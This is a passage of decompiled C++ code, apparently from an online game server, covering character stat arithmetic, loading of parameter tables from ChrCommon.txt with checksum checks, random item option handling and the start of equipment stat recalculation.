1000; v45 = c->MACri; if ( v45 != 1000 ) { v46 = (signed int)((unsigned __int64)(274877907i64 * v45 * v2->MACri) >> 32) >> 6; v2->MACri = v46 + ((unsigned int)v46 >> 31); } v47 = c->CriDam; if ( v47 != 1000 ) v2->CriDam = v47 * v2->CriDam / 1000; v48 = c->CriDam; if ( v48 != 1000 ) { v49 = (signed int)((unsigned __int64)(274877907i64 * v48 * v2->CriDam) >> 32) >> 6; v2->CriDam = v49 + ((unsigned int)v49 >> 31); } v50 = c->MagCriDam; if ( v50 != 1000 ) v2->MagCriDam = v50 * v2->MagCriDam / 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::operator *="); } //----- (004961A0) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_compareelement(Parameter::Cluster *this, unsigned int curr, unsigned int last, int flag, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::c_compareelement"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::c_compareelement"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( curr != last ) { *(&changepacket[4 * changepacket->changenum + 1].changenum + changepacket->changenum) = flag; *(_DWORD *)(&changepacket[4 * changepacket->changenum + 2].changenum + changepacket->changenum) = curr; ++changepacket->changenum; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::c_compareelement"); } //----- (00496230) -------------------------------------------------------- int __thiscall Parameter::Cluster::c_compare(Parameter::Cluster *this, Parameter::Cluster *last, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket) { Parameter::Cluster *v3; // esi@1 int v4; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::c_compare"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::c_compare"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Cluster::c_compareelement(v3, v3->Str, last->Str, 0, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Con, last->Con, 1, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Dex, last->Dex, 2, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Int, last->Int, 3, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Men, last->Men, 5, changepacket); Parameter::Cluster::c_compareelement(v3, v3->WCmin, last->WCmin, 6, changepacket); Parameter::Cluster::c_compareelement(v3, v3->WCmax, last->WCmax, 7, changepacket); Parameter::Cluster::c_compareelement(v3, v3->AC, last->AC, 8, changepacket); Parameter::Cluster::c_compareelement(v3, v3->TH, last->TH, 9, changepacket); Parameter::Cluster::c_compareelement(v3, v3->TB, last->TB, 10, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MAmin, last->MAmin, 11, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MAmax, last->MAmax, 12, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MR, last->MR, 13, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MH, last->MH, 14, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MB, last->MB, 15, changepacket); v4 = changepacket->changenum; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::c_compare"); return v4; } //----- (004963E0) -------------------------------------------------------- void __thiscall Parameter::Container::c_MakeTotal(void *c) { void *v1; // ebx@1 v1 = c; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Container::c_MakeTotal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Container::c_MakeTotal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 2880, ¶meter_eraser_plus, 0xC0u); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 1); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 4); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 12); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 10); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 5); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 9); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 11); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 13); Parameter::Cluster::operator__((Parameter::Cluster *)v1 + 15, (Parameter::Cluster *)v1 + 14); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Container::c_MakeTotal"); } //----- (00496510) -------------------------------------------------------- void __thiscall ShineCommonParameter::scp_Load(ShineCommonParameter *this, Name4 *world) { ShineCommonParameter *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@2 void *v7; // eax@5 void *v8; // eax@5 void *v9; // eax@5 void *v10; // eax@5 void *v11; // eax@5 void *v12; // eax@5 void *v13; // eax@5 void *v14; // eax@5 void *v15; // eax@35 void *v16; // edx@35 void *v17; // ecx@35 void *v18; // eax@35 void *v19; // edx@35 void *v20; // ecx@35 void *v21; // eax@35 void *v22; // edx@35 int v23; // ebp@35 double v24; // st7@35 int v25; // edi@35 void *v26; // ecx@35 void *v27; // eax@35 void *v28; // edx@35 void *v29; // ecx@35 void *v30; // eax@37 bool v31; // zf@40 int v32; // ebp@43 unsigned int v33; // eax@44 unsigned int v34; // ecx@44 unsigned __int64 v35; // qax@44 unsigned int v36; // ecx@44 unsigned __int64 v37; // kr08_8@44 bool v38; // cf@45 int v39; // edi@46 int v40; // ebp@46 void *v41; // eax@47 int v42; // edi@54 int v43; // ebp@54 void *v44; // eax@55 int v45; // edi@62 int v46; // ebp@62 void *v47; // eax@63 int v48; // edi@70 int v49; // ebp@70 void *v50; // eax@71 int v51; // edi@78 int v52; // ebp@78 void *v53; // eax@79 ORToken v54; // [sp-24h] [bp-160h]@5 int v55; // [sp-20h] [bp-15Ch]@5 int v56; // [sp-1Ch] [bp-158h]@5 int v57; // [sp-18h] [bp-154h]@5 int v58; // [sp-14h] [bp-150h]@5 char *v59; // [sp-10h] [bp-14Ch]@5 char *v60; // [sp-Ch] [bp-148h]@5 int v61; // [sp-8h] [bp-144h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed *v62; // [sp-4h] [bp-140h]@5 int i; // [sp+10h] [bp-12Ch]@5 int *v64; // [sp+14h] [bp-128h]@37 char rst; // [sp+1Bh] [bp-121h]@2 ShineCommonParameter::CommonParameter **v66; // [sp+1Ch] [bp-120h]@35 ShineCommonParameter::scp_Load::__l7::__unnamed shoutdelay; // [sp+20h] [bp-11Ch]@5 ShineCommonParameter::scp_Load::__l7::__unnamed RestExpRate; // [sp+28h] [bp-114h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed runspeed; // [sp+30h] [bp-10Ch]@5 ShineCommonParameter::scp_Load::__l7::__unnamed MinNeedTime; // [sp+38h] [bp-104h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed attackspeed; // [sp+40h] [bp-FCh]@5 ShineCommonParameter::scp_Load::__l7::__unnamed DefaultBonusTime; // [sp+48h] [bp-F4h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed walkspeed; // [sp+50h] [bp-ECh]@5 ShineCommonParameter::scp_Load::__l7::__unnamed shoutlevel; // [sp+58h] [bp-E4h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed maxexpbonus; // [sp+60h] [bp-DCh]@5 ShineCommonParameter::scp_Load::__l7::__unnamed levellimit; // [sp+68h] [bp-D4h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed AddBuffTime; // [sp+70h] [bp-CCh]@5 ShineCommonParameter::scp_Load::__l7::__unnamed IntervalTime; // [sp+78h] [bp-C4h]@5 FunctionEntarance _; // [sp+80h] [bp-BCh]@1 ShineCommonParameter::scp_Load::__l7::__unnamed MaxBuffTime; // [sp+84h] [bp-B8h]@5 char buf[32]; // [sp+8Ch] [bp-B0h]@1 char path[128]; // [sp+ACh] [bp-90h]@1 unsigned int cookie; // [sp+12Ch] [bp-10h]@86 int v84; // [sp+138h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineCommonParameter::scp_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineCommonParameter::scp_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineCommonParameter::scp_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[4] = v3; *(_DWORD *)&buf[8] = v4; v84 = 0; *(_DWORD *)&buf[12] = v5; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/ChrCommon.txt"); if ( !OptionReader::or_Read(&v2->scp_or, path) ) { sprintf(path, "../9Data/Shine/World/ChrCommon.txt"); rst = OptionReader::or_Read(&v2->scp_or, path); v6 = OptionReader::or_ErrorLine(&v2->scp_or); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "PrimaryParameterTable::ppt_Load : Error in read : ChrCommon.txt", v6); ShineExit("ShineCommonParameter::scp_Load"); } } v62 = &runspeed; v61 = 0; v60 = "RunSpeed"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v7 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &walkspeed; v61 = 0; v60 = "WalkSpeed"; runspeed.pnt = v7; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v8 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &shoutlevel; v61 = 0; v60 = "ShoutLevel"; walkspeed.pnt = v8; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); shoutlevel.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &attackspeed; v61 = 0; v60 = "AttackSpeed"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v9 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &shoutdelay; v61 = 0; v60 = "ShoutDelay"; attackspeed.pnt = v9; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v10 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &levellimit; v61 = 0; v60 = "LevelLimit"; shoutdelay.pnt = v10; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); levellimit.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &maxexpbonus; v61 = 0; v60 = "MaxExpBonus"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v11 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &RestExpRate; v61 = 0; v60 = "RestExpRate"; v59 = "key"; maxexpbonus.pnt = v11; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v12 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &MinNeedTime; v61 = 0; v60 = "MinNeedTime"; RestExpRate.pnt = v12; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); MinNeedTime.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &DefaultBonusTime; v61 = 0; v60 = "DefaultBonusTime"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v13 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &IntervalTime; v61 = 0; v60 = "IntervalTime"; DefaultBonusTime.pnt = v13; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); IntervalTime.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &AddBuffTime; v61 = 0; v60 = "AddBuffTime"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); AddBuffTime.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); v62 = &MaxBuffTime; v61 = 0; v60 = "MaxBuffTime"; v59 = "key"; i = (int)&v54; v58 = 0; v57 = 0; v56 = 0; v55 = 0; *(_DWORD *)&v54.ort_Name[0] = 0; strncpy(v54.ort_Name, "Common", 0x14u); v14 = OptionReader::or_Select(&v2->scp_or, "argument", v54, v59, v60, v61, &v62->type); MaxBuffTime.pnt = v14; if ( !runspeed.pnt || !walkspeed.pnt || !levellimit.pnt || !maxexpbonus.pnt || !attackspeed.pnt || !shoutlevel.pnt || !shoutdelay.pnt || !RestExpRate.pnt || !MinNeedTime.pnt || !DefaultBonusTime.pnt || !IntervalTime.pnt || !AddBuffTime.pnt || !v14 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : NULL(MaxExpBonus)", 0); ShineExit("ShineCommonParameter::scp_Load"); } if ( runspeed.type != 5 || walkspeed.type != 5 || levellimit.type != 5 || maxexpbonus.type != 5 || attackspeed.type != 5 || shoutlevel.type != 5 || shoutdelay.type != 5 || RestExpRate.type != 5 || MinNeedTime.type != 5 || DefaultBonusTime.type != 5 || IntervalTime.type != 5 || AddBuffTime.type != 5 || MaxBuffTime.type != 5 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : TYPE(MaxExpBonus)", 0); ShineExit("ShineCommonParameter::scp_Load"); } v15 = walkspeed.pnt; v2->scp_param.chrrunspeed = *(_DWORD *)runspeed.pnt; v16 = attackspeed.pnt; v2->scp_param.chrwalkspeed = *(_DWORD *)v15; v17 = shoutlevel.pnt; v2->scp_param.chrattackspeed = *(_DWORD *)v16; v18 = shoutdelay.pnt; v2->scp_param.shoutlevel = *(_DWORD *)v17; v19 = levellimit.pnt; v2->scp_param.shoutdelay = *(_DWORD *)v18; v20 = maxexpbonus.pnt; v2->scp_param.levellimit = *(_BYTE *)v19; v21 = RestExpRate.pnt; i = *(_WORD *)v20; v22 = MinNeedTime.pnt; v23 = 1; v24 = (double)i; i = 1; v25 = (int)&v2->scp_param.nextexp[1]; v2->scp_param.maxexpbonus = v24 * 0.001; v2->scp_param.RestExpRate = *(_DWORD *)v21; v26 = DefaultBonusTime.pnt; v2->scp_param.MinNeedTime = *(_DWORD *)v22; v27 = IntervalTime.pnt; v2->scp_param.DefaultBonusTime = *(_DWORD *)v26; v28 = AddBuffTime.pnt; v2->scp_param.IntervalTime = *(_DWORD *)v27; v29 = MaxBuffTime.pnt; v2->scp_param.AddBuffTime = *(_DWORD *)v28; v2->scp_param.MaxBuffTime = *(_DWORD *)v29; LODWORD(v2->scp_param.nextexp[0]) = 0; HIDWORD(v2->scp_param.nextexp[0]) = 0; v66 = &v2->scp_param.commonparam[1]; while ( 1 ) { v62 = 0; v61 = v23; v60 = "level"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "StatTable", 0x14u); v30 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *v66 = (ShineCommonParameter::CommonParameter *)v30; if ( v30 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error in commonparam", v23); ShineExit("ShineCommonParameter::scp_Load"); } v31 = (*v66)->level != (*v66)->checksum; v64 = (int *)((*v66)->level == (*v66)->checksum); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in commonparam", v23); ShineExit("ShineCommonParameter::scp_Load"); } v32 = (int)(*v66)->nextexp; *(_DWORD *)v25 = 0; for ( *(_DWORD *)(v25 + 4) = 0; *(_BYTE *)v32; *(_QWORD *)v25 = v37 ) { v33 = *(_DWORD *)(v25 + 4); v34 = *(_DWORD *)v25; *(_QWORD *)&v61 = 10i64; *(_QWORD *)&v59 = __PAIR__(v33, v34); v35 = 10 * __PAIR__(v33, v34); *(_DWORD *)v25 = v35; v36 = *(_DWORD *)v25; *(_DWORD *)(v25 + 4) = HIDWORD(v35); v37 = (signed int)*(_BYTE *)v32++ - 48 + __PAIR__(*(_DWORD *)(v25 + 4), v36); } v25 += 8; v38 = (unsigned int)(i++ + 1) < 0x97; ++v66; if ( !v38 ) break; v23 = i; } v2->scp_param.commonparam[0] = v2->scp_param.commonparam[1]; v39 = 0; v40 = (int)v2->scp_param.freestatStr; do { v62 = 0; v61 = v39; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatStrTable", 0x14u); v41 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v40 = v41; if ( v41 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatStr", v39); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v40 != *(_BYTE *)(*(_DWORD *)v40 + 3); v64 = (int *)(**(_BYTE **)v40 == *(_BYTE *)(*(_DWORD *)v40 + 3)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatStr", v39); ShineExit("ShineCommonParameter::scp_Load"); } ++v39; v40 += 4; } while ( (unsigned int)v39 < 0x97 ); v42 = 0; v43 = (int)v2->scp_param.freestatInt; do { v62 = 0; v61 = v42; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatIntTable", 0x14u); v44 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v43 = v44; if ( v44 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatInt", v42); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v43 != *(_BYTE *)(*(_DWORD *)v43 + 3); v64 = (int *)(**(_BYTE **)v43 == *(_BYTE *)(*(_DWORD *)v43 + 3)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatInt", v42); ShineExit("ShineCommonParameter::scp_Load"); } ++v42; v43 += 4; } while ( (unsigned int)v42 < 0x97 ); v45 = 0; v46 = (int)v2->scp_param.freestatCon; do { v62 = 0; v61 = v45; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatConTable", 0x14u); v47 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v46 = v47; if ( v47 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatCon", v45); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v46 != *(_BYTE *)(*(_DWORD *)v46 + 7); v64 = (int *)(**(_BYTE **)v46 == *(_BYTE *)(*(_DWORD *)v46 + 7)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatCon", v45); ShineExit("ShineCommonParameter::scp_Load"); } ++v45; v46 += 4; } while ( (unsigned int)v45 < 0x97 ); v48 = 0; v49 = (int)v2->scp_param.freestatDex; do { v62 = 0; v61 = v48; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatDexTable", 0x14u); v50 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v49 = v50; if ( v50 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatDex", v48); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v49 != *(_BYTE *)(*(_DWORD *)v49 + 5); v64 = (int *)(**(_BYTE **)v49 == *(_BYTE *)(*(_DWORD *)v49 + 5)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatDex", v48); ShineExit("ShineCommonParameter::scp_Load"); } ++v48; v49 += 4; } while ( (unsigned int)v48 < 0x97 ); v51 = 0; v52 = (int)v2->scp_param.freestatMen; do { v62 = 0; v61 = v51; v60 = "Stat"; v64 = &v55; v59 = 0; v58 = 0; v57 = 0; v56 = 0; v55 = 0; strncpy((char *)&v55, "FreeStatMenTable", 0x14u); v53 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v55, v60, v61, (int)v62); *(_DWORD *)v52 = v53; if ( v53 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatMen", v51); ShineExit("ShineCommonParameter::scp_Load"); } v31 = **(_BYTE **)v52 != *(_BYTE *)(*(_DWORD *)v52 + 7); v64 = (int *)(**(_BYTE **)v52 == *(_BYTE *)(*(_DWORD *)v52 + 7)); if ( v31 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatMen", v51); ShineExit("ShineCommonParameter::scp_Load"); } ++v51; v52 += 4; } while ( (unsigned int)v51 < 0x97 ); --funcallanalizer.fca_stackpoint; v84 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineCommonParameter::scp_Load"); __security_check_cookie(cookie); } //----- (00497050) -------------------------------------------------------- void __usercall FillRandomOption(int *itemstat, ItemInventoryCell *itemcell, ItemDataBox::ItemDataBoxIndex *itemdata) { ItemDataBox::ItemDataBoxIndex *v3; // esi@1 GradeItemOption *v4; // eax@1 int v5; // eax@3 int v6; // ebx@3 char v7; // al@4 int v8; // esi@6 int v9; // ecx@9 int *v10; // eax@9 int v11; // edx@9 unsigned int v12; // esi@16 signed int k; // [sp+4h] [bp-18h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FillRandomOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FillRandomOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = itemdata; v4 = itemdata->itemoption; if ( v4 ) { *itemstat = v4->STR; itemstat[1] = itemdata->itemoption->CON; itemstat[2] = itemdata->itemoption->DEX; itemstat[3] = itemdata->itemoption->INT; itemstat[4] = itemdata->itemoption->MEN; } v5 = ((int (__stdcall *)(SHINE_ITEM_STRUCT *))itemcell->iic_AttrProc->vfptr->iac_GetItemOptionStruct)(&itemcell->iic_Item.iti_itemstruct); v6 = v5; if ( v5 ) { v7 = *(_BYTE *)v5; if ( *(_BYTE *)v6 & 1 ) { k = 0; if ( v7 & 0xFE ) { v8 = v6 + 1; do { if ( *(_BYTE *)v8 < 5u ) { v9 = *(_WORD *)(v8 + 1); v10 = &itemstat[*(_BYTE *)v8]; v11 = *v10; if ( itemdata->data->Class == 4 ) { *v10 = v9 + v11; } else { if ( v11 < v9 ) *v10 = v9; } } else { AssertClass::ac_AssertFail(&shineassert, "FillRandomOption : Type err", *(_BYTE *)v8); } v8 += 3; ++k; } while ( k < (signed int)((unsigned int)*(_BYTE *)v6 >> 1) ); v3 = itemdata; } } } if ( v3->data->Class == 4 ) { v12 = 0; do { itemstat[v12] += (unsigned __int16)((int (__stdcall *)(SHINE_ITEM_STRUCT *, unsigned int))itemcell->iic_AttrProc->vfptr->iac_GetItemOptionUpgrade)( &itemcell->iic_Item.iti_itemstruct, v12); ++v12; } while ( v12 < 5 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FillRandomOption"); } //----- (004971D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcEquipParam(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 ItemDataBox::ItemDataBoxIndex *v5; // eax@2 ItemInfoServer *v6; // eax@3 int v7; // eax@10 int v8; // ebx@10 unsigned __int16 v9; // di@11 ItemDataBox::ItemDataBoxIndex *v10; // esi@11 int v11; // eax@15 int v12; // eax@18 ItemAttributeClass *v13; // eax@20 CIDEB_Element *v14; // eax@22 int v15; // edi@25 int v16; // edx@25 int v17; // ecx@25 int v18; // edi@25 int v19; // edx@25 int v20; // edi@25 int v21; // ecx@25 int v22; // edx@25 int v23; // edi@25 int v24; // ecx@25 int v25; // edx@25 int v26; // edi@25 int v27; // edi@25 int v28; // eax@25 int v29; // edx@25 unsigned int v30; // eax@25 int v31; // edx@25 int v32; // edi@25 int v33; // eax@25 int v34; // eax@25 int v35; // ecx@25 int v36; // edi@25 int v37; // edx@25 int v38; // edi@25 int v39; // ecx@25 GradeItemOption *v40; // eax@25 int v41; // ecx@26 int v42; // eax@26 int v43; // edi@26 int v44; // edi@26 int v45; // ecx@26 int v46; // edi@26 int v47; // edx@26 int v48; // ecx@26 int v49; // eax@26 unsigned __int8 v50; // al@27 unsigned __int8 v51; // bl@27 UpGradeInfo *v52; // eax@30 int v53; // ecx@33 int v54; // ecx@34 int v55; // eax@37 int v56; // edx@37 int v57; // eax@37 char toohanded; // [sp+17h] [bp-3Dh]@1 ITEM_INVEN inv; // [sp+18h] [bp-3Ch]@37 FunctionEntarance _; // [sp+1Ch] [bp-38h]@1 int v61; // [sp+20h] [bp-34h]@28 ItemBoxIterItem ibii; // [sp+24h] [bp-30h]@6 int itemstat[5]; // [sp+34h] [bp-20h]@25 int v64; // [sp+50h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 45862); memcpy((char *)v1 + 4200, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 4392, ¶meter_eraser_rate, 0xC0u); memcpy((char *)v1 + 4584, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 4776, ¶meter_eraser_rate, 0xC0u); v3 = *((_WORD *)v1 + 45863); *((_DWORD *)v1 + 1201) = v3; *((_DWORD *)v1 + 1206) = v3; *((_DWORD *)v1 + 1199) = v2; *((_DWORD *)v1 + 1200) = v2; *((_DWORD *)v1 + 1204) = v2; *((_DWORD *)v1 + 1205) = v2; memcpy((char *)v1 + 4968, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 5160, ¶meter_eraser_rate, 0xC0u); v64 = 0; *((_DWORD *)v1 + 1130) = 0; toohanded = 0; v4 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 12); if ( v4 ) { v5 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v4 + 8)); if ( v5 ) { v6 = v5->dataserv; if ( v6 ) { if ( v6->Equ_LeftHand == 2 ) toohanded = 1; } } } *((_BYTE *)v1 + 92252) = 0; *((_BYTE *)v1 + 92278) = 0; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v1 + 32168); 